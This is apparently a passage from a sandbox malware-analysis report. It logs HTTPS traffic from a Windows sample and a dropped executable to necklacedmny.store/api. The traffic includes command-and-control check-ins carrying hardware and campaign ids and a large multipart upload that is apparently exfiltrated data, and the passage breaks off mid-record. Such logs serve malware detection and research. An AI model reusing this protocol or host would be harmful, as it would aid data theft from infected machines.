2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 3d 51 62 2d f7 a0 5d 77 48 fd 68 c3 a2 0b 45 08 34 8d 08 b7 02 0d 1a ed e3 17 29 5c ca f7 1a 3e 66 60 4d 76 d6 b6 c7 02 95 07 27 d2 ea 56 0b a2 24 84 db eb 5b 08 9f 6f 7f 17 20 4a 70 c3 02 fe bd 98 ef 4f 92 ff b1 25 97 41 09 18 be 45 4f 8f 7f 57 3e f4 71 05 49 4c b5 db 99 63 bf d3 38 d2 e0 1c e2 8c 31 73 de 95 64 38 57 73 55 24 a1 95 7d 64 56 8a e4 d7 44 61 25 20 67 b8 51 cd 11 15 bf 72 b2 8f a2 16 4d b0 2e 96 40 89 22 2e 4d 28 25 1f 89 1f 90 4b 96 e5 1c 3d 94 be 0b 85 52 ed 28 d0 72 8e e4 43 a9 87 6b 09 0b d6 c1 91 9e e8 af 46 ad bc c8 18 47 ad f8 28 a3 89 14 af 84 e5 9f ac 0b 3d 7d 9c ca a8 62 c7 7a c5 09 9e 57 ea a9 0c e1 75 11 e6 5b 81 58 80 3b 8a 7f 60 aa cb 35 6e 29 bc 9c db 6b b5 8d 82 f3 21 21 30 85 cc 71 15 dc c6 b9 d5 05 72 86 9f d4 b1 16 f8 40 Data Ascii: =Qb-]wHhE4)\>f`Mv'V$[o JpO%AEOW>qILc81sd8WsU$}dVDa% gQrM.@".M(%K=R(rCkFG(=}bzWu[X;`5n)k!!0qr@
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 8f 44 c5 4e 4e ff 9a 2c 4e 42 79 2d c6 6b 62 72 91 a9 42 04 4d 4e 49 32 b1 de 7c d0 4a d5 61 08 d3 4a eb 43 a2 32 df 0f 39 43 dd 12 10 fd ae 2a 91 f6 97 62 aa e0 5c b8 6d 3b dd 2c 04 53 92 0f 70 76 29 6d cb 09 7a f5 dc ff 20 bb ab 65 a6 cd 15 ff ac 0b 44 df 6a f5 42 10 93 a6 b8 90 a4 9c 37 fd 14 a1 c8 63 dd c3 2e 39 27 19 87 93 5d 49 d5 e5 56 3d cb d8 c5 92 53 09 4d 91 f5 a6 d5 6d 6d b9 25 c7 da 31 e9 1e e6 f8 ce d7 d5 fd f2 ca f8 b8 99 e1 b2 0c 37 81 47 a7 8e c4 45 57 b5 6e 1b 36 68 67 98 4f 2a 3f e1 18 e5 d8 ed 1f a1 ca 91 f0 72 09 3d d6 85 82 5f 1c 52 4a ec dc 6a 0e 77 b8 99 48 b7 db 16 2b 0f d8 6f a4 89 f2 1f ab d7 49 59 39 63 44 d0 96 10 7b d1 f1 97 a7 c4 e0 b5 4b 94 a9 ad d1 2a 4d 56 fb 19 91 0a fe 46 0d 04 f3 3f f5 e2 10 0c 67 41 29 65 b2 e7 f9 87 Data Ascii: DNN,NBy-kbrBMNI2\|JaJC29Cb\m;,Spv)mz eDjB7c.9']IV=SMmm%17GEWn6hgO?r=_RJjwH+oIY9cD{K*MVF?gA)e
2024-11-01 04:52:17 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4916aakd770juvpgaljgaafbv; expires=Mon, 24-Feb-2025 22:38:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JUEATR3m0Ppj76ETOC1O7dqKFgQOQDz%2BmI7NtHMPGahTJpO8Iwfg8nQqJLwIdMU8jgzow4IQW7M9TB%2BSUDvVKiMYk%2F4tuP8UsRzm7lnVv35laWAMzjdQPHWt8VyvrSaYwxYAys%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db946400a45e922-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=217&recv=623&lost=0&retrans=0&sent_bytes=2845&recv_bytes=588808&delivery_rate=2445945&cwnd=242&unsent_bytes=0&cid=6b39e8a4be351cc8&ts=1754&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:52:18 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=FC6B15971607FBA128DEB478D21E6E6B
2024-11-01 04:52:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmcab25jd07mlm9th9puu5uems; expires=Mon, 24-Feb-2025 22:38:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EbyOYnFWQi29F%2BdG2tBkJ9ipipKoK9kqpquO5uHmzkrZofP%2BZj2vCC0KisfU6iyPskyY5ogY4MPyxV7Mzb5C7laaorlYb8j3Xf02YVRPdSQveMWPliZpkCVL7rFl3plWhnPeAR0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db9464f09362cce-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2016713&cwnd=251&unsent_bytes=0&cid=1fd9b4b4fb72feee&ts=468&x=0"
2024-11-01 04:52:18 UTC	214	IN	Data Raw: 64 30 0d 0a 78 36 35 37 42 37 4b 30 56 5a 48 6b 42 2f 59 48 68 35 77 67 31 64 44 54 4e 56 74 4a 4c 44 4e 66 65 5a 55 76 51 52 57 4a 4f 52 61 63 31 56 6c 79 6b 49 35 33 2b 5a 42 7a 68 6a 33 62 73 33 7a 36 34 65 73 41 64 58 73 64 42 6e 46 49 70 42 78 76 4a 4c 39 6c 4f 61 6a 49 48 56 75 64 30 44 44 33 79 6d 4b 4f 59 71 57 77 41 72 4f 6b 38 51 39 72 5a 51 35 57 66 55 4f 6c 55 6d 31 75 71 30 77 30 2f 59 77 54 63 38 62 45 62 38 33 4c 57 39 6b 32 76 36 6b 4f 35 2b 48 6d 47 32 70 34 48 78 31 75 54 38 6b 41 4c 48 7a 6e 58 45 72 6f 33 42 70 70 31 74 73 34 76 34 46 2f 6b 79 57 72 76 6b 61 68 38 75 6b 46 64 32 74 4a 45 57 56 4a 36 48 49 3d 0d 0a Data Ascii: d0x657B7K0VZHkB/YHh5wg1dDTNVtJLDNfeZUvQRWJORac1VlykI53+ZBzhj3bs3z64esAdXsdBnFIpBxvJL9lOajIHVud0DD3ymKOYqWwArOk8Q9rZQ5WfUOlUm1uq0w0/YwTc8bEb83LW9k2v6kO5+HmG2p4Hx1uT8kALHznXEro3Bpp1ts4v4F/kyWrvkah8ukFd2tJEWVJ6HI=
2024-11-01 04:52:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49986	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:53:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:53:14 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9vu1advm8ankh41ghsec18aift; expires=Mon, 24-Feb-2025 22:39:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T1o%2B0V1txH%2BxMEJCZDNZewD%2BpYmXOsz3OJa4UNTnZZHbmGoMx0t3ZfvOYT3DOakDE918Xz%2BkuyDTWwA%2Fi6CAA3xuig2nv8zNs2b36mhIO4rco0JX%2BcKIAY5nAxNNUQHdaSUU0xg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947ab4ece460b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1497414&cwnd=247&unsent_bytes=0&cid=6bfe9755c329df6f&ts=555&x=0"
2024-11-01 04:53:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:53:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49991	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:53:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:53:15 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9jcop74tr69hj7sli4i4eu873s; expires=Mon, 24-Feb-2025 22:39:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FcCYN2vk2cp0fJYfajAkHUoPKGU0w9DOjk3L0JBmQ1n5LxMfUgvSdOdUYFunnZ3DbMKUF4rVoU7IUgKbG1BGj8sKnAd%2BAPA9lNKJmwtbZ8ExShMvEMPEWmmO%2BS7Je6aDdv3ZBzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947b42b930bbb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1407&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2053900&cwnd=251&unsent_bytes=0&cid=6583c02d11bfb9bb&ts=503&x=0"
2024-11-01 04:53:15 UTC	358	IN	Data Raw: 34 64 63 0d 0a 2f 56 76 34 6d 36 68 69 42 74 55 45 4a 32 68 45 69 55 50 61 71 59 45 35 4b 71 62 75 2f 65 6c 7a 65 4a 73 49 71 31 67 55 6f 67 61 47 65 59 36 35 6b 6c 59 71 39 33 64 43 53 6e 37 39 4d 61 2f 4d 72 52 74 4c 77 73 7a 48 6a 78 49 55 36 47 32 48 65 6d 4c 50 4a 4d 63 39 6d 66 66 62 42 79 72 33 59 56 39 4b 66 74 49 34 2b 4d 7a 76 47 78 43 45 69 35 65 4c 45 68 54 35 61 63 41 33 5a 4d 35 6c 6c 54 65 66 38 38 30 42 59 72 52 6f 53 67 30 68 37 43 4b 77 78 2b 68 55 51 73 76 4d 30 63 73 57 41 72 6b 79 69 52 56 78 31 6d 65 77 4f 6f 76 77 69 68 38 71 72 69 5a 43 42 6d 61 7a 59 62 76 4d 34 31 56 4d 77 6f 57 56 67 52 73 63 2b 47 7a 42 4b 48 33 45 62 70 55 35 6e 50 4c 48 43 48 61 35 59 6b 30 47 4a 2b 59 69 2b 49 57 6a 58 46 43 45 31 4e 2f 59 49 78 6e 6f 65 39 Data Ascii: 4dc/Vv4m6hiBtUEJ2hEiUPaqYE5Kqbu/elzeJsIq1gUogaGeY65klYq93dCSn79Ma/MrRtLwszHjxIU6G2HemLPJMc9mffbByr3YV9KftI4+MzvGxCEi5eLEhT5acA3ZM5llTef880BYrRoSg0h7CKwx+hUQsvM0csWArkyiRVx1mewOovwih8qriZCBmazYbvM41VMwoWVgRsc+GzBKH3EbpU5nPLHCHa5Yk0GJ+Yi+IWjXFCE1N/YIxnoe9
2024-11-01 04:53:15 UTC	893	IN	Data Raw: 6b 34 42 49 2f 6b 71 73 63 62 75 57 30 58 4f 67 35 79 4c 46 68 44 7a 5a 63 4d 2b 65 38 31 69 6e 7a 6e 61 74 34 6f 48 66 50 63 2b 42 53 6b 6a 2b 79 61 30 33 61 46 68 43 4e 76 43 68 73 73 57 46 72 6b 79 69 54 4a 7a 77 32 65 55 4e 70 6e 78 77 52 4a 6b 70 57 42 49 44 7a 54 74 4a 4c 62 42 34 45 6c 43 79 6f 71 63 67 68 6f 54 2f 47 33 4e 65 6a 69 41 59 34 64 35 77 72 6e 72 44 57 2b 37 62 46 49 4b 5a 76 52 76 6f 59 76 6b 56 77 69 63 7a 4a 75 4b 46 52 76 39 5a 4d 63 2b 65 73 5a 71 6b 6a 61 63 38 38 6f 48 62 72 39 75 52 41 63 74 35 43 47 39 78 75 64 64 52 4d 57 4a 33 38 56 52 48 65 45 71 6b 58 70 59 78 32 65 4e 65 36 2f 36 78 41 35 6a 6f 53 5a 61 52 44 2b 72 4a 72 53 4c 75 78 74 47 77 59 4f 4e 69 67 4d 66 39 33 6a 46 50 33 44 4e 5a 35 45 35 6e 2f 37 48 44 6d 4b 77 Data Ascii: k4BI/kqscbuW0XOg5yLFhDzZcM+e81inznat4oHfPc+BSkj+ya03aFhCNvChssWFrkyiTJzw2eUNpnxwRJkpWBIDzTtJLbB4ElCyoqcghoT/G3NejiAY4d5wrnrDW+7bFIKZvRvoYvkVwiczJuKFRv9ZMc+esZqkjac88oHbr9uRAct5CG9xuddRMWJ38VRHeEqkXpYx2eNe6/6xA5joSZaRD+rJrSLuxtGwYONigMf93jFP3DNZ5E5n/7HDmKw
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 44 57 75 2b 62 30 77 59 4c 4f 63 76 71 73 62 70 58 6b 62 49 69 5a 43 4c 45 42 76 33 59 4d 4a 36 4f 49 42 6a 68 33 6e 43 75 65 55 4e 64 4b 56 73 54 68 74 6b 33 69 4b 32 78 65 52 4e 43 4e 76 43 68 73 73 57 46 72 6b 79 69 54 46 77 7a 47 69 66 50 34 6a 33 78 52 4a 75 70 57 4a 4c 44 69 72 6c 4b 4c 58 45 35 6b 6c 4d 78 4a 36 65 6a 68 59 55 39 48 6a 4d 65 6a 69 41 59 34 64 35 77 72 6e 77 4e 47 4f 6e 64 30 4a 49 45 2b 67 76 74 73 7a 31 47 31 65 4b 6c 64 2b 4d 48 56 71 68 4b 73 6f 32 65 38 6c 68 6b 43 75 51 39 63 73 53 59 37 35 76 54 77 73 6f 35 43 71 30 7a 76 46 51 52 38 79 44 6e 6f 59 63 45 66 31 71 69 58 51 32 78 33 7a 66 59 64 72 59 78 77 39 32 74 48 63 48 50 79 58 6c 4c 37 2f 64 6f 30 51 47 33 63 79 59 68 31 46 43 75 57 76 46 4e 6e 66 50 59 Data Ascii: 3f90DWu+b0wYLOcvqsbpXkbIiZCLEBv3YMJ6OIBjh3nCueUNdKVsThtk3iK2xeRNCNvChssWFrkyiTFwzGifP4j3xRJupWJLDirlKLXE5klMxJ6ejhYU9HjMejiAY4d5wrnwNGOnd0JIE+gvtsz1G1eKld+MHVqhKso2e8lhkCuQ9csSY75vTwso5Cq0zvFQR8yDnoYcEf1qiXQ2x3zfYdrYxw92tHcHPyXlL7/do0QG3cyYh1FCuWvFNnfPY
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 79 77 51 52 67 74 32 74 4f 42 43 6a 69 4c 62 44 48 35 45 6c 46 77 59 53 56 67 68 51 57 39 47 6e 62 4f 58 65 41 4b 74 38 2b 67 72 6d 53 51 45 4f 45 55 57 5a 4b 4f 61 55 34 2b 4d 7a 76 47 78 43 45 6a 5a 65 4d 48 78 37 72 5a 4e 73 30 63 63 42 69 6c 7a 47 64 39 63 51 4f 64 72 39 6e 52 51 51 70 34 79 69 38 79 75 64 66 52 4d 50 4d 30 63 73 57 41 72 6b 79 69 52 4a 31 32 6e 37 64 46 35 48 35 7a 52 42 79 72 43 5a 61 52 44 2b 72 4a 72 53 4c 75 78 74 4d 7a 34 61 57 69 42 67 65 39 47 72 41 4e 58 2f 49 61 5a 63 72 6d 2f 50 59 42 47 47 32 61 55 38 4f 4c 75 63 75 74 4d 2f 78 55 41 69 4b 7a 4a 69 54 55 55 4b 35 53 73 49 73 56 64 4a 32 33 79 62 55 34 49 6f 48 61 50 63 2b 42 51 4d 71 36 69 43 79 7a 65 68 65 52 63 53 4a 6c 59 77 64 47 76 6c 70 7a 7a 78 37 79 47 79 54 4e 5a Data Ascii: ywQRgt2tOBCjiLbDH5ElFwYSVghQW9GnbOXeAKt8+grmSQEOEUWZKOaU4+MzvGxCEjZeMHx7rZNs0ccBilzGd9cQOdr9nRQQp4yi8yudfRMPM0csWArkyiRJ12n7dF5H5zRByrCZaRD+rJrSLuxtMz4aWiBge9GrANX/IaZcrm/PYBGG2aU8OLucutM/xUAiKzJiTUUK5SsIsVdJ23ybU4IoHaPc+BQMq6iCyzeheRcSJlYwdGvlpzzx7yGyTNZ
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 62 4c 78 67 53 77 73 67 35 79 7a 34 68 61 4e 63 55 49 54 55 33 36 77 4c 46 2f 39 39 32 41 39 78 77 44 58 66 4a 74 54 67 69 67 64 6f 39 7a 34 46 42 79 72 68 4c 4c 33 50 36 31 78 4c 78 59 43 62 68 68 77 65 38 47 37 4d 4b 47 54 47 61 70 38 32 6c 50 62 47 45 6d 71 79 5a 6b 6c 4b 61 4b 73 6d 6f 49 75 37 47 33 6e 54 6a 4e 2b 55 58 77 4f 35 62 63 56 36 4c 6f 42 72 6b 69 75 57 39 73 6f 42 5a 37 4e 74 51 67 77 67 36 69 4b 39 79 4f 5a 64 53 63 53 41 6c 59 77 5a 45 50 64 6e 7a 7a 35 77 78 69 54 52 65 5a 33 68 69 6c 67 6b 68 57 74 4c 41 79 58 74 4c 4b 37 6a 30 68 74 58 69 70 58 66 6a 42 31 61 6f 53 72 4e 4d 58 37 4d 59 5a 63 38 6d 2f 48 41 43 47 75 34 64 45 51 46 4c 2b 77 71 74 63 54 74 58 6b 62 57 69 35 53 41 47 52 50 33 62 49 6c 30 4e 73 64 38 33 32 48 61 7a 38 6b Data Ascii: bLxgSwsg5yz4haNcUITU36wLF/992A9xwDXfJtTgigdo9z4FByrhLL3P61xLxYCbhhwe8G7MKGTGap82lPbGEmqyZklKaKsmoIu7G3nTjN+UXwO5bcV6LoBrkiuW9soBZ7NtQgwg6iK9yOZdScSAlYwZEPdnzz5wxiTReZ3hilgkhWtLAyXtLK7j0htXipXfjB1aoSrNMX7MYZc8m/HACGu4dEQFL+wqtcTtXkbWi5SAGRP3bIl0Nsd832Haz8k
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 6b 45 45 4e 4f 6f 75 2b 49 57 6a 58 46 43 45 31 4e 2b 36 42 78 33 2b 5a 59 73 54 63 64 74 6c 6c 54 71 52 39 59 6f 66 4b 71 34 6d 51 67 5a 6d 73 32 47 31 78 2b 35 66 57 73 69 4d 6e 34 49 57 45 4f 74 6c 78 6a 64 31 77 47 47 4e 4f 49 6a 32 77 51 56 6e 73 32 6c 4b 42 69 37 68 59 66 61 4c 35 45 4d 49 6e 4d 79 7a 69 41 41 51 75 30 33 54 4c 48 48 4d 64 5a 51 30 6c 72 6e 56 54 6e 33 33 59 55 6c 4b 66 71 73 68 75 63 62 78 58 6b 6e 4f 68 70 4b 44 48 68 2f 38 5a 63 30 2b 66 63 35 32 6b 54 61 61 2f 38 45 42 59 62 52 74 54 77 51 76 2b 57 48 32 69 2b 52 44 43 4a 7a 4d 74 5a 41 51 46 2f 55 6f 35 7a 46 67 78 79 61 2b 4e 35 48 2b 78 68 59 6b 71 43 68 63 53 69 48 6e 59 65 43 4c 36 6c 56 45 78 34 75 58 67 78 51 61 38 6d 72 47 4d 48 6a 48 64 70 55 31 6b 4f 76 46 41 32 6d 7a Data Ascii: kEENOou+IWjXFCE1N+6Bx3+ZYsTcdtllTqR9YofKq4mQgZms2G1x+5fWsiMn4IWEOtlxjd1wGGNOIj2wQVns2lKBi7hYfaL5EMInMyziAAQu03TLHHMdZQ0lrnVTn33YUlKfqshucbxXknOhpKDHh/8Zc0+fc52kTaa/8EBYbRtTwQv+WH2i+RDCJzMtZAQF/Uo5zFgxya+N5H+xhYkqChcSiHnYeCL6lVEx4uXgxQa8mrGMHjHdpU1kOvFA2mz
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 2b 72 4a 72 53 4c 75 78 74 49 77 49 43 63 6a 42 38 56 39 47 58 4f 4d 58 6e 4b 61 6f 30 32 6e 2f 48 47 43 47 6d 6c 62 45 38 59 4c 2b 49 73 74 73 50 78 57 41 69 4b 7a 4a 69 54 55 55 4b 35 57 4d 4d 35 65 74 5a 70 6b 48 6d 46 74 39 4e 41 59 37 73 6d 48 55 6f 30 2b 53 47 7a 79 2b 52 56 57 73 57 45 6b 49 45 52 48 50 4a 67 79 6a 4e 79 7a 6d 32 5a 4f 4a 66 34 79 77 42 68 74 32 39 58 42 32 61 6c 59 62 2f 54 6f 77 4d 49 38 34 43 55 75 68 49 4d 75 58 57 48 49 7a 62 48 61 4e 39 68 32 76 6a 59 44 57 79 7a 5a 6b 67 4d 4c 65 6f 67 75 38 76 6a 57 45 6a 42 68 35 43 4e 46 68 66 7a 59 38 41 6f 66 73 52 32 6e 7a 57 65 75 59 52 41 59 36 38 6d 48 55 6f 57 36 43 71 30 79 2b 35 4f 43 4e 76 43 68 73 73 57 46 72 6b 79 69 54 4a 39 79 32 4b 55 4f 70 6e 33 77 51 70 72 75 47 78 44 44 Data Ascii: +rJrSLuxtIwICcjB8V9GXOMXnKao02n/HGCGmlbE8YL+IstsPxWAiKzJiTUUK5WMM5etZpkHmFt9NAY7smHUo0+SGzy+RVWsWEkIERHPJgyjNyzm2ZOJf4ywBht29XB2alYb/TowMI84CUuhIMuXWHIzbHaN9h2vjYDWyzZkgMLeogu8vjWEjBh5CNFhfzY8AofsR2nzWeuYRAY68mHUoW6Cq0y+5OCNvChssWFrkyiTJ9y2KUOpn3wQpruGxDD
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 31 77 4f 38 5a 53 63 6d 63 6d 4d 74 66 57 76 38 71 6b 57 6f 34 67 47 43 4f 65 63 4b 70 6d 46 73 78 35 44 45 56 57 44 6d 6c 4f 50 6a 64 6f 77 4d 61 69 73 79 4e 79 30 6c 61 76 6d 6e 62 4b 48 44 44 63 70 78 2b 70 4d 66 71 43 32 69 30 61 6b 51 4e 5a 71 56 68 74 34 75 37 59 67 6a 48 6e 6f 33 45 41 41 7a 30 65 73 35 32 66 74 46 70 6b 33 6e 55 75 59 59 45 62 37 74 6a 51 68 70 70 2b 54 47 7a 78 2f 55 58 54 4e 62 4d 30 63 73 41 45 66 5a 34 78 7a 30 35 30 58 4b 53 4b 5a 6e 38 7a 55 78 73 70 6d 74 4a 53 6d 69 72 4e 4c 50 48 35 56 5a 64 69 35 32 4a 69 41 63 64 74 57 4c 59 4e 33 71 41 57 39 46 35 67 72 6d 53 51 46 47 30 61 45 73 4e 4d 50 70 73 6d 4d 44 76 57 45 54 46 69 39 2f 46 55 52 79 35 4d 70 70 30 4e 73 52 31 33 32 48 4b 71 35 46 56 4e 2b 41 32 46 78 56 6f 38 6d Data Ascii: 1wO8ZScmcmMtfWv8qkWo4gGCOecKpmFsx5DEVWDmlOPjdowMaisyNy0lavmnbKHDDcpx+pMfqC2i0akQNZqVht4u7YgjHno3EAAz0es52ftFpk3nUuYYEb7tjQhpp+TGzx/UXTNbM0csAEfZ4xz050XKSKZn8zUxspmtJSmirNLPH5VZdi52JiAcdtWLYN3qAW9F5grmSQFG0aEsNMPpsmMDvWETFi9/FURy5Mpp0NsR132HKq5FVN+A2FxVo8m
2024-11-01 04:53:15 UTC	1369	IN	Data Raw: 41 78 75 4b 7a 49 33 4c 53 56 71 2b 5a 4d 51 37 64 63 35 6e 6a 53 75 63 2b 74 77 44 49 34 6c 59 59 41 63 72 37 69 2b 2f 39 64 31 36 51 74 53 42 6b 49 77 76 4a 4d 35 37 7a 69 6f 30 35 6d 65 4a 4f 74 71 33 69 68 67 6b 37 79 5a 6b 41 44 62 6d 4c 72 2b 4c 72 52 74 4d 68 4e 54 66 72 68 77 58 2f 47 54 4f 65 46 66 4b 64 4a 49 32 6e 62 6d 45 51 47 6a 33 50 67 55 4c 4c 50 73 73 74 38 79 76 58 46 4c 44 7a 4e 48 4c 48 31 71 68 4b 73 67 77 5a 73 31 72 6d 48 57 63 39 38 52 41 65 2f 6c 2f 42 52 78 6d 73 33 4c 32 69 2f 45 62 45 49 54 4c 6b 59 59 51 47 66 64 70 32 79 68 77 77 33 4b 63 66 71 54 48 37 77 31 70 73 6d 68 43 4e 42 6a 4b 4b 36 6a 47 37 46 77 4b 35 49 75 4a 69 43 38 6b 7a 6e 76 4f 4b 6a 54 6d 5a 34 6b 36 32 72 65 4b 47 43 54 76 4a 6d 51 41 4e 75 59 75 76 34 6e Data Ascii: AxuKzI3LSVq+ZMQ7dc5njSuc+twDI4lYYAcr7i+/9d16QtSBkIwvJM57zio05meJOtq3ihgk7yZkADbmLr+LrRtMhNTfrhwX/GTOeFfKdJI2nbmEQGj3PgULLPsst8yvXFLDzNHLH1qhKsgwZs1rmHWc98RAe/l/BRxms3L2i/EbEITLkYYQGfdp2yhww3KcfqTH7w1psmhCNBjKK6jG7FwK5IuJiC8kznvOKjTmZ4k62reKGCTvJmQANuYuv4n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49992	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:53:17 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 